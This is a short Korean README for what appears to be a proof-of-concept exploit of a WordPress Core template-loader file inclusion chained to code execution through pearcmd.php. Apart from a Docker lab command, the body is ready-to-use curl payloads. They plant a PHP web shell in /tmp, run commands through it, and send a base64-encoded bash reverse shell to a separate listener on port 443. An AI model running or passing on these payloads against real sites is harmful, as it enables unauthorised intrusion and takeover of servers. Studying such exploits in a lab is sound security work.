CVE-2026-87902 — 조건부 LFI

인간을 위한 사랑 - 단순하게 유지하세요

WordPress Core <= 7.1.1 — 인증되지 않은 LFI (템플릿 로더 pagename) → pearcmd.php 및 peclcmd.php를 통한 RCE

Docker 랩 실행

cd docker && docker compose up -d

익스플로잇 - curl

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'


# 리버스 셸
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'

익스플로잇 — python

python3 exploit-pear.py

크레딧: https://github.com/ressl/cve-2026-87902-poc